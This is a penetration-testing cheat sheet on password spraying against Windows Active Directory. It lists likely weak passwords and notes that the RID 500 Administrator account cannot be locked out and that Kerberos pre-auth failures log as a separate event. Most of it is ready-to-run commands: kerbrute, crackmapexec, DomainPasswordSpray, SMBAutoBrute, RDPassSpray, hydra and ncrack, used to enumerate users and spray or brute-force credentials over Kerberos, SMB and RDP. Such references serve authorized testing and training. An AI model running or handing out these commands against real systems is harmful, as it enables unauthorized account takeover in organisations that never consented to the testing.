PenTest – Password – Spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

• P@ssw0rd01, Password123, Password1, Hello123, mimikatz
• Welcome1/Welcome01
• $Companyname1 :$Microsoft1
• SeasonYear : Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
• Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
• Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

• Username bruteforce

  root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
  

• Password bruteforce

  root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
  

• Password spray

  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
  root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
  

Spray a pre-generated passwords list

• Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

  crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  

• Using DomainPasswordSpray to spray a password against all users of a domain.

  # https://github.com/dafthack/DomainPasswordSpray
  Invoke-DomainPasswordSpray -Password Summer2021!
  # /!\ be careful with the account lockout !
  Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  

• Using SMBAutoBrute.

  Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
  

Spray passwords against the RDP service

• Using RDPassSpray to target RDP services.

  git clone https://github.com/xFreed0m/RDPassSpray
  python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  

• Using hydra and ncrack to target RDP services.

  hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
  ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
  

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>